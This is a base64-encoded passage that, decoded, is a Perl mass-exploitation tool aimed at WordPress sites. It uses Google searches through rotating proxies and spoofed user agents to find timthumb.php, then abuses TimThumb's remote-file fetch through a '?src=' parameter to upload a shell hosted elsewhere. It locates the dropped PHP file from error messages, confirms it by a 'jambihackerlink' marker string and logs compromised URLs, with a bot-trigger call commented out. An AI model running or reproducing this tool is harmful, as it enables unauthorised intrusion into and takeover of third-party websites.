jguMC4xKSBHZWNrby8yMDA2MDExMSBGaXJlZm94LzEuNS4wLjEiLCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjA7IGVuLVVTOyBydjoxLjguMC4xKSBHZWNrby8yMDA2MDExMSBGaXJlZm94LzEuNS4wLjEiLCJNb3ppbGxhLzUuMCAoQmVPUzsgVTsgQmVPUyBCZVBDOyBlbi1VUzsgcnY6MS45YTEpIEdlY2tvLzIwMDUxMDAyIEZpcmVmb3gvMS42YTEiLCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjgpIEdlY2tvLzIwMDYwMzIxIEZpcmVmb3gvMi4wYTEiLCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGl0OyBydjoxLjguMWIxKSBHZWNrby8yMDA2MDcxMCBGaXJlZm94LzIuMGIxIiwiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBpdDsgcnY6MS44LjFiMikgR2Vja28vMjAwNjA3MTAgRmlyZWZveC8yLjBiMiIsIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgaXQ7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MDkxOCBGaXJlZm94LzIuMCIsIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOCkgR2Vja28vMjAwNTEyMTkgU2VhTW9ua2V5LzEuMGIiLCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luOTg7IGVuLVVTOyBydjoxLjguMC4xKSBHZWNrby8yMDA2MDEzMCBTZWFNb25rZXkvMS4wIiwiTW96aWxsYS8zLjAgKE9TLzI7VSkiLCJNb3ppbGxhLzMuMCAoWDExOyBJOyBTdW5PUyA1LjQgc3VuNG0pIiwiTW96aWxsYS80LjYxIChNYWNpbnRvc2g7IEk7IFBQQykiLCJNb3ppbGxhLzQuNjEgW2VuXSAoT1MvMjsgVSkiLCJNb3ppbGxhLzQuN0MtQ0NLLU1DRCB7Qy1VRFA7IEVCTS1BUFBMRX0gKE1hY2ludG9zaDsgSTsgUFBDKSIsIk1vemlsbGEvNC44IFtlbl0gKFdpbmRvd3MgTlQgNS4wOyBVKSIpOwpteSAkdWEgPSBMV1A6OlVzZXJBZ2VudC0+bmV3KGFnZW50ID0+ICJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IE1TSUUgNS41OyBXaW5kb3dzIE5UIDUuMSkgT3BlcmEgNy4wMSBbZW5dIiwgZW52X3Byb3h5ID0+IDEsIGtlZXBfYWxpdmUgPT4gMSx0aW1lb3V0ID0+IDE1KTsKI215IFtNRU5USU9OPTU3NjkxXWRvbVsvTUVOVElPTl1zID0gKCJtb2JpIiwiaW5mbyIsIm5ldCIsImFlIiwiY29tLmFmIiwiY29tLmFnIiwib2ZmLmFpIiwiYW0iLCJjb20uYXIiLCJhcyIsImF0IiwiY29tLmF1IiwiYXoiLCJiYSIsImNvbS5iZCIsImJlIiwiYmciLCJiaSIsImNvbS5ibyIsImNvbS5iciIsImJzIiwiY28uYnciLCJjb20uYnoiLCJjYSIsImNkIiwiY2ciLCJjaCIsImNpIiwiY28uY2siLCJjbCIsImNvbS5jbyIsImNvLmNyIiwiY29tLmN1IiwiZGUiLCJkaiIsImRrIiwiZG0iLCJjb20uZG8iLCJjb20uZWMiLCJlcyIsImNvbS5ldCIsImZpIiwiY29tLmZqIiwiZm0iLCJmciIsImdnIiwiY29tLmdpIiwiZ2wiLCJnbSIsImdyIiwiY29tLmd0IiwiY29tLmhrIiwiaG4iLCJociIsImNvLmh1IiwiY28uaWQiLCJpZSIsImNvLmlsIiwiY28uaW0iLCJjby5pbiIsImlzIiwiaXQiLCJjby5qZSIsImNvbS5qbSIsImpvIiwiY28uanAiLCJjby5rZSIsImtnIiwiY28ua3IiLCJreiIsImxpIiwibGsiLCJjby5scyIsImx0IiwibHUiLCJsdiIsImNvbS5seSIsIm1uIiwibXMiLCJjb20ubXQiLCJtdSIsIm13IiwiY29tLm14IiwiY29tLm15IiwiY29tLm5hIiwiY29tLm5mIiwiY29tLm5pIiwibmwiLCJubyIsImNvbS5ucCIsIm5yIiwibnUiLCJjby5ueiIsImNvbS5vbSIsImNvbS5wYSIsImNvbS5wZSIsImNvbS5waCIsImNvbS5wayIsInBsIiwicG4iLCJjb20ucHIiLCJwdCIsImNvbS5weSIsInJvIiwicnUiLCJydyIsImNvbS5zYSIsImNvbS5zYiIsInNjIiwic2UiLCJjb20uc2ciLCJzaCIsInNrIiwic24iLCJzbSIsImNvbS5zdiIsImNvLnRoIiwiY29tLnRqIiwidG0iLCJ0byIsInRwIiwiY29tLnRyIiwidHQiLCJjb20udHciLCJjb20udWEiLCJjby51ZyIsImNvLnVrIiwiY29tLnV5IiwidXoiLCJjb20udmMiLCJjby52ZSIsInZnIiwiY28udmkiLCJjb20udm4iLCJ2dSIsIndzIiwiY28uemEiLCJjby56bSIpOwojbXkgW01FTlRJT049NTc2OTFdZG9tWy9NRU5USU9OXXMgPSAoImJpeiIsImNhdCIsImNvbSIsImNvb3AiLCJpbmZvIiwiaW50Iiwiam9icyIsIm1vYmkiLCJtdXNldW0iLCJuYW1lIiwibmV0Iiwib3JnIiwidHJhdmVsIiwiYWMiLCJhZCIsImFlIiwiYWYiLCJhZyIsImFpIiwiYWwiLCJhbSIsImFuIiwiYW8iLCJhcSIsImFyIiwiYXMiLCJhdCIsImF1IiwiYXciLCJheiIsImJhIiwiYmIiLCJiZCIsImJlIiwiYmYiLCJiZyIsImJoIiwiYmkiLCJiaiIsImJtIiwiYm4iLCJibyIsImJyIiwiYnMiLCJidCIsImJ2IiwiYnciLCJieSIsImJ6IiwiY2EiLCJjYyIsImNkIiwiY2YiLCJjZyIsImNoIiwiY2kiLCJjayIsImNsIiwiY20iLCJjbiIsImNvIiwiY3IiLCJjcyIsImN1IiwiY3YiLCJjeCIsImN5IiwiY3oiLCJkZSIsImRqIiwiZGsiLCJkbSIsImRvIiwiZHoiLCJlYyIsImVlIiwiZWciLCJlaCIsImVyIiwiZXMiLCJldCIsImV1IiwiZmkiLCJmaiIsImZrIiwiZm0iLCJmbyIsImZyIiwiZ2EiLCJnYiIsImdkIiwiZ2UiLCJnZiIsImdnIiwiZ2giLCJnaSIsImdsIiwiZ20iLCJnbiIsImdwIiwiZ3EiLCJnciIsImdzIiwiZ3QiLCJndSIsImd3IiwiZ3kiLCJoayIsImhtIiwiaG4iLCJociIsImh0IiwiaHUiLCJpZCIsImllIiwiaWwiLCJpbSIsImluIiwiaW8iLCJpcSIsImlyIiwiaXMiLCJpdCIsImplIiwiam0iLCJqbyIsImpwIiwia2UiLCJrZyIsImtoIiwia2kiLCJrbSIsImtuIiwia3AiLCJrciIsImt3Iiwia3kiLCJreiIsImxhIiwibGIiLCJsYyIsImxpIiwibGsiLCJsciIsImxzIiwibHQiLCJsdSIsImx2IiwibHkiLCJtYSIsIm1jIiwibWQiLCJtZyIsIm1oIiwibWsiLCJtbCIsIm1tIiwibW4iLCJtbyIsIm1wIiwibXEiLCJtciIsIm1zIiwibXQiLCJtdSIsIm12IiwibXciLCJteCIsIm15IiwibXoiLCJuYSIsIm5jIiwibmUiLCJuZiIsIm5nIiwibmkiLCJubCIsIm5vIiwibnAiLCJuciIsIm51IiwibnoiLCJvbSIsInBhIiwicGUiLCJwZiIsInBnIiwicGgiLCJwayIsInBsIiwicG0iLCJwbiIsInByIiwicHMiLCJwdCIsInB3IiwicHkiLCJxYSIsInJlIiwicm8iLCJydSIsInJ3Iiwic2EiLCJzYiIsInNjIiwic2QiLCJzZSIsInNnIiwic2giLCJzaSIsInNqIiwic2siLCJzbCIsInNtIiwic24iLCJzbyIsInNyIiwic3QiLCJzdSIsInN2Iiwic3kiLCJzeiIsInRjIiwidGQiLCJ0ZiIsInRnIiwidGgiLCJ0aiIsInRrIiwidG0iLCJ0biIsInRvIiwidHAiLCJ0ciIsInR0IiwidHYiLCJ0dyIsInR6IiwidWEiLCJ1ZyIsInVrIiwidW0iLCJ1cyIsInV5IiwidXoiLCJ2YSIsInZjIiwidmUiLCJ2ZyIsInZpIiwidm4iLCJ2dSIsIndmIiwid3MiLCJ5ZSIsInl0IiwieXUiLCJ6YSIsInptIiwienIiLCJ6dyIpOwpteSAka2V5PSRfWzBdOwojbXkgJHBhdGg9JF9bMV07Cm15ICRjb3VudGVyPTE7Cm15ICRwYWdlPTA7Cm15ICRyZXFiOwpteSAkcmVzYjsKbXkgJHJhbmRvbSA9IGludCggcmFuZCgzKSk7Cm15ICRmbGFnOwpteSBbTUVOVElPTj02NTc3OF1nb29nbGVkWy9NRU5USU9OXTsKbXkgJHVybDsKCiNmb3JlYWNoIG15ICRkb20gIFtNRU5USU9OPTU3NjkxXWRvbVsvTUVOVElPTl1zKSB7CiMgICAgICAgcHJpbnQgJGRvbS4gIiBTY2FubmVkXG4iOwojICAgICAgIGZvciAobXkgJGk9MDsgJGk8PTIwOyAkaSs9MTApewogICAgICAgICR1YWdlbnQgPSAkdWFnZW50c1tyYW5kKHNjYWxhcihAdWFnZW50cykpXTsKICAgICAgICAkdWEgPSBMV1A6OlVzZXJBZ2VudC0+bmV3KGFnZW50ID0+ICR1YWdlbnQpOwogICAgICAgIG15ICRwcm94eSA9IGBwZXJsIC1NTGlzdDo6VXRpbCAtZSAncHJpbnQgTGlzdDo6VXRpbDo6c2h1ZmZsZSA8PicgcHJveHkudHh0IHwgdGFpbCAtbiAxYDsKICAgICAgICBjaG9tcCgkcHJveHkpOwojICAgICAgIHByaW50ICRwcm94eSAuICJcbiI7CiAgICAgICAgbXkgJHVybD0iaHR0cDovL2EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnMuY29tL2FqYXgvc2VydmljZXMvc2VhcmNoL2ltYWdlcz92PTEuMCZzdGFydD0xJnJzej1sYXJnZSZxPXRpbXRodW1iLnBocCUyMHNpdGU6IiAuJGtleTsKICAgICAgICBteSAkZW5jb2RlZCA9IGVuY29kZV9iYXNlNjQoJHVybCwiIik7CiMgICAgICAgcHJpbnQgIkVuY29kZWQgdXJsIGlzICIgLiAkZW5jb2RlZCAuICJcbiI7CiAgICAgICAgc2xlZXAgaW50KHJhbmQoNSkpOwogICAgICAgICR1cmwgPSAkcHJveHkgLiAiP3A9IiAuICRlbmNvZGVkOwojICAgICAgIHByaW50ICJyZXF1ZXN0IG1hZGUgIiAuICR1cmwgLiAiXG4iOwogICAgICAgIG15ICRwcm94eTsKICAgICAgICAkcmVxYiA9IEhUVFA6OlJlcXVlc3QtPm5ldygiR0VUIiwgJHVybCk7CiAgICAgICAgJHJlc2IgPSAkdWEtPnJlcXVlc3QoJHJlcWIpOwogICAgICAgIG15ICRqb2luID0gam9pbigiIiwkcmVzYi0+YXNfc3RyaW5nKTsKICAgICAgICB3aGlsZSgkam9pbj1+bS91bmVzY2FwZWRVcmwiOiIoLio/KSIvZyl7CiAgICAgICAgbXkgJGxpbms9JDE7CiAgICAgICAgaWYgKCRsaW5rPX5tLyguKj8pXC90aW10aHVtYi5waHBcPy8pewogICAgICAgIG15ICRkaXJlY3Q9JDE7CiAgICAgICAgJGRpcmVjdCAuPSAiL3RpbXRodW1iLnBocCI7CiMgICAgICAgJmNoZWNrMigkZGlyZWN0KTsKICAgICAgICBwdXNoIFtNRU5USU9OPTY1Nzc4XWdvb2dsZWRbL01FTlRJT05dLCAkZGlyZWN0KQogICAgICAgIH0KIyAgICAgICAgcHJpbnQgJGxpbmsgLiAiXG4iOwogICAgICAgICRsaW5rID1+IHMvXChbLWEtekEtWjAtOVwuXSspXC9cLiovXCQxL1w7CiAgICAgICAgJGxpbmsgLj0gIi8iOwogICAgICAgIHB1c2ggW01FTlRJT049NjU3NzhdZ29vZ2xlZFsvXE1FTlRJT05dLCAkbGluayk7CgogICAgICAgIH0gI2VuZCB3aGlsZQojICAgICAgIH0gI2VuZCBmb3IKIyAgICAgICBteSAkZm9ya21hbmFnZXJiID0gbmV3IFBhcmFsbGVsOjpGb3JrTWFuYWdlcigxKTsKICAgICAgICBteSAldmhhc2ggICA9IG1hcCB7ICRfID0+IDEgfSBbTUVOVElPTj02NTc3OF1nb29nbGVkWy9NRU5USU9OXTsKICAgICAgICBteSBAdmhvc3R1bmlxID0ga2V5cyAldmhhc2g7CiAgICAgICAgcHJpbnQgIlsiIC4gc2NhbGFyIGxvY2FsdGltZSh0aW1lKSAuICJdW0dPT0dMRV1bRG9yazogIiAuICRrZXkgLiJdW0RvbWFpbjogIiAuJGtleSAuIl1bRm91bmQ6ICIgLiBzY2FsYXIgQHZob3N0dW5pcSAuICJdXG4iOwogICAgICAgIGZvcmVhY2ggbXkgJHVuaSAoQHZob3N0dW5pcSl7CiMgICAgICAgICAgICAgICAgbXkgJHByb2Nlc3NpZGIgPSAkZm9ya21hbmFnZXJiLT5zdGFydCgpIGFuZCBuZXh0OwojICAgICAgICAgICAgICAgcHJpbnQgJHVuaSAuICJcbiI7CiAgICAgICAgICAgICAgICBpZiAoJHVuaT1+bS90aW10aHVtYi5waHAvKXsKICAgICAgICAgICAgICAgICZjaGVjazIoJHVuaSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICZleHRyYWN0KCR1bmkpOwogICAgICAgICAgICAgICAgfQojICAgICAgICAgICAgICAgJGZvcmttYW5hZ2VyYi0+ZmluaXNoKCk7CiMgICAgICAgICAgICAgICAkZm9ya21hbmFnZXJiLT53YWl0X2FsbF9jaGlsZHJlbigpOwogICAgICAgIH0KICAgICAgICBbTUVOVElPTj02NTc3OF1nb29nbGVkWy9NRU5USU9OXT0oKTsKIyAgICAgICB9ICNlbmQgZm9yZWFjaAp9ICNlbmQgc3ViCgpzdWIgZXh0cmFjdCgpIHsKbXkgJHVybCA9ICRfWzBdOwpteSAkdWEgPSBMV1A6OlVzZXJBZ2VudC0+bmV3KGFnZW50ID0+ICJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IE1TSUUgNS41OyBXaW5kb3dzIE5UIDUuMSkgT3BlcmEgNy4wMSBbZW5dIiwgZW52X3Byb3h5ID0+IDEsIGtlZXBfYWxpdmUgPT4gMSx0aW1lb3V0ID0+IDIwKTsKbXkgJHJlcSA9IEhUVFA6OlJlcXVlc3QtPm5ldygiR0VUIiwgJHVybCk7Cm15ICRyZXMgPSAkdWEtPnJlcXVlc3QoJHJlcSk7Cm15ICRqb2luID0gam9pbigiIiwkcmVzLT5hc19zdHJpbmcpOwppZiAoJGpvaW4gPX5tL3dwLWNvbnRlbnQvKXsKd2hpbGUgKG15ICRsaW5rPSRqb2luPX4gbSwoaHR0cC4qPzovLyhbXlxzKVwiXSg/IXR0cDopKSspLGcpIHsKbXkgJGxpbmsgPSAkJjsKI3ByaW50ICRsaW5rIC4gIlxuIjsKaWYgKCRsaW5rID1+IG0sL3dwLWNvbnRlbnQvdGhlbWVzLyxnKXsKJGxpbmsgPX4gbSwoLio/KS93cC1jb250ZW50L3RoZW1lcy8oLio/KS8sOwpteSAkc2l0ZSA9ICQxOwpteSAkdGhlbWUgPSAkMjsKJGxpbmsgPSAkc2l0ZSAuICIvd3AtY29udGVudC90aGVtZXMvIiAuICR0aGVtZSAuICIvIjsKI3ByaW50ICRsaW5rIC4gIlxuIjsKY2hvbXAoJGxpbmspOwpwdXNoIChAbGlua3MsICRsaW5rKQp9CgppZiAoJGxpbmsgPX4gbSwvd3AtY29udGVudC9wbHVnaW5zLyxnKXsKJGxpbmsgPX4gbSwoLio/KS93cC1jb250ZW50L3BsdWdpbnMvKC4qPykvLDsKbXkgJHNpdGUgPSAkMTsKbXkgJHBsdWdpbiA9ICQyOwokbGluayA9ICRzaXRlIC4gIi93cC1jb250ZW50L3BsdWdpbnMvIiAuICRwbHVnaW4gLiAiLyI7CmNob21wKCRsaW5rKTsKI3ByaW50ICRsaW5rIC4gIlxuIjsKcHVzaCAoQGxpbmtzLCAkbGluaykKfQoKCn0gI2VuZCB3aGlsZSBleHRyYWN0Cn0gI2VuZCBpZgoKbXkgW01FTlRJT049ODM4NjhdVW5pWy9NRU5USU9OXSA9ICZjbGVhbihAbGlua3MpOwpmb3JlYWNoIG15ICR1bmkgIFtNRU5USU9OPTgzODY4XVVuaVsvTUVOVElPTl0pIHsKI3ByaW50ICR1bmkgLiAiXG4iOwomY2hlY2soJHVuaSk7Cn0KCn0gIyBlbmQgc3ViIGV4dHJhY3QKCgpzdWIgY2xlYW4oKSB7CiAgICBteSBbTUVOVElPTj0yNDQxXWNsblsvTUVOVElPTl0gPSAoKTsKICAgIG15ICV2aXNpdCA9ICgpOwogICAgZm9yZWFjaCBteSAkZWxlbWVudCAoQF8pIHsKIyAgICAgICAgJGVsZW1lbnQgPX4gcy8rL1wvL2c7CiAgICAgICAgbmV4dCBpZiAkdmlzaXR7JGVsZW1lbnR9Kys7CiAgICAgICAgcHVzaCBbTUVOVElPTj0yNDQxXWNsblsvTUVOVElPTl0sICRlbGVtZW50OwogICAgfQogICAgcmV0dXJuIFtNRU5USU9OPTI0NDFdY2xuWy9NRU5USU9OXTsKfSAjIGVuZCBzdWIgY2xlYW4KCgpzdWIgY2hlY2soKSB7Cm15ICRhdHRhY2sgPSAkX1swXTsKI3ByaW50ICJBdGFja2luZyAiIC4gJGF0dGFjayAuICJcbiI7CiAgICAgICAgb3BlbihteSAkaW5qZWN0ZmlsZWgsICI8IiAuICRpbmplY3RzKTsKICAgICAgICB3aGlsZSg8JGluamVjdGZpbGVoPil7CiAgICAgICAgbXkgJGluamVjdCA9ICRfOwogICAgICAgICRpbmplY3QgPX4gcy9ceDBhLy9nOwogICAgICAgIGNob21wKCRpbmplY3QpOwoKCm15ICRleHBsb2l0ID0gJGF0dGFjayAuICRpbmplY3QgLiAiP3NyYz0iIC4gJGV4cGw7CgpteSAkdWFlID0gTFdQOjpVc2VyQWdlbnQtPm5ldyhhZ2VudCA9PiAiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBNU0lFIDUuNTsgV2luZG93cyBOVCA1LjEpIE9wZXJhIDcuMDEgW2VuXSIsIGVudl9wcm94eSA9PiAxLCBrZWVwX2FsaXZlID0+IDEsdGltZW91dCA9PiAyMCk7Cm15ICRyZXFlID0gSFRUUDo6UmVxdWVzdC0+bmV3KCJHRVQiLCAkZXhwbG9pdCk7Cm15ICRyZXNlID0gJHVhZS0+cmVxdWVzdCgkcmVxZSk7Cm15ICRvdXRwdXQgPSBqb2luKCIiLCRyZXNlLT5hc19zdHJpbmcpOwojcHJpbnQgJGV4cGxvaXQgLiAiXG4iOwojcHJpbnQgJHJlc2UtPmFzX3N0cmluZzsKaWYgKCRvdXRwdXQgPX4gbS9VbmFibGUgdG8gb3BlbiBpbWFnZS8pewokb3V0cHV0ID1+IG0sVW5hYmxlIHRvIG9wZW4gaW1hZ2UgOiAoLio/KS5waHAsZzsKbXkgJHNoZWxscGF0aD0kMTsKI3ByaW50ICRzaGVsbHBhdGggLiAiXG4iOwokc2hlbGxwYXRoID1+IG0sL3dwLWNvbnRlbnQoLiopLDsKbXkgJHBhdGggPSQxOwpteSAkcm9vdHVybCA9ICRhdHRhY2sgPX4gbSwoLiopL3dwLWNvbnRlbnQsOwokcm9vdHVybD0kMTsKI3ByaW50ICRyb290dXJsIC4gIlxuIjsKbXkgJGNoZWNrdXJsID0gICRyb290dXJsIC4gIi93cC1jb250ZW50LyIgLiRwYXRoLiAiLnBocCI7CiZ2dWxuKCRjaGVja3VybCk7Cn0KfSAjIGVuZCB3aGlsZQoKCn0gI2VuZCBzdWIgY2hlY2sKCgoKc3ViIGNoZWNrMigpIHsKbXkgJGF0dGFjazIgPSAkX1swXTsKI3ByaW50ICJBdGFja2luZyAiIC4gJGF0dGFjazIgLiAiXG4iOwoKCm15ICRleHBsb2l0ID0gJGF0dGFjazIgLiAiP3NyYz0iIC4gJGV4cGw7CgpteSAkdWFlID0gTFdQOjpVc2VyQWdlbnQtPm5ldyhhZ2VudCA9PiAiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBNU0lFIDUuNTsgV2luZG93cyBOVCA1LjEpIE9wZXJhIDcuMDEgW2VuXSIsIGVudl9wcm94eSA9PiAxLCBrZWVwX2FsaXZlID0+IDEsdGltZW91dCA9PiAyMCk7Cm15ICRyZXFlID0gSFRUUDo6UmVxdWVzdC0+bmV3KCJHRVQiLCAkZXhwbG9pdCk7Cm15ICRyZXNlID0gJHVhZS0+cmVxdWVzdCgkcmVxZSk7Cm15ICRvdXRwdXQgPSBqb2luKCIiLCRyZXNlLT5hc19zdHJpbmcpOwojcHJpbnQgJGV4cGxvaXQgLiAiXG4iOwojcHJpbnQgJHJlc2UtPmFzX3N0cmluZzsKaWYgKCRvdXRwdXQgPX4gbS9VbmFibGUgdG8gb3BlbiBpbWFnZS8pewokb3V0cHV0ID1+IG0sVW5hYmxlIHRvIG9wZW4gaW1hZ2UgOiAoLio/KS5waHAsZzsKbXkgJHNoZWxscGF0aD0kMTsKI3ByaW50ICRzaGVsbHBhdGggLiAiXG4iOwokc2hlbGxwYXRoID1+IG0sL3dwLWNvbnRlbnQoLiopLDsKbXkgJHBhdGggPSQxOwpteSAkcm9vdHVybCA9ICRhdHRhY2syID1+IG0sKC4qKS93cC1jb250ZW50LDsKJHJvb3R1cmw9JDE7CiNwcmludCAkcm9vdHVybCAuICJcbiI7Cm15ICRjaGVja3VybCA9ICAkcm9vdHVybCAuICIvd3AtY29udGVudC8iIC4kcGF0aC4gIi5waHAiOwomdnVsbigkY2hlY2t1cmwpOwp9CgoKfSAjZW5kIHN1YiBjaGVjazIKCgpzdWIgdnVsbiB7Cm15ICR2dWxudXJsID0gJF9bMF07Cm15ICR1YWUgPSBMV1A6OlVzZXJBZ2VudC0+bmV3KGFnZW50ID0+ICJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IE1TSUUgNS41OyBXaW5kb3dzIE5UIDUuMSkgT3BlcmEgNy4wMSBbZW5dIiwgZW52X3Byb3h5ID0+IDEsIGtlZXBfYWxpdmUgPT4gMSx0aW1lb3V0ID0+IDIwKTsKbXkgJHJlcWUgPSBIVFRQOjpSZXF1ZXN0LT5uZXcoIkdFVCIsICR2dWxudXJsKTsKbXkgJHJlc2UgPSAkdWFlLT5yZXF1ZXN0KCRyZXFlKTsKbXkgJG91dHB1dCA9IGpvaW4oIiIsJHJlc2UtPmFzX3N0cmluZyk7CmlmICgkb3V0cHV0ID1+IG0vbGlua2lyYyAtIGphbWJpaGFja2VybGluay9pKXsKI3ByaW50ICR2dWxudXJsIC4iIGlzIHZ1bG4gXG4iOwpwcmludCAiWyIgLiBzY2FsYXIgbG9jYWx0aW1lKHRpbWUpIC4gIl1bVlVMTl1bIiAuJHZ1bG51cmwgLiJdXG4iOwoKICAgICAgICBvcGVuKE9VVCwgIj4+dnVsbi50eHQiICk7CiAgICAgICAgcHJpbnQgT1VUICR2dWxudXJsIC4gIlxuIjsKICAgICAgICBjbG9zZSBPVVQ7CiAgICAgICAgb3BlbihPVVQsICI+PnByb3h5LnR4dCIgKTsKICAgICAgICBwcmludCBPVVQgJHZ1bG51cmwgLiAiXG4iOwogICAgICAgIGNsb3NlIE9VVDsKCiNteSAkYm90dXJsPSAkdnVsbnVybCAuICI/Ym90IjsKI215ICRyZXFlID0gSFRUUDo6UmVxdWVzdC0+bmV3KCJHRVQiLCAkYm90dXJsKTsKI215ICRyZXNlID0gJHVhZS0+cmVxdWVzdCgkcmVxZSk7CiNwcmludCAiYm90IGV4ZWN1dGVkIGZvciAiLiAkdnVsbnVybCAuICJcbiI7Cn0KCn0gI2VuZCBzdWIgdnVsbiAg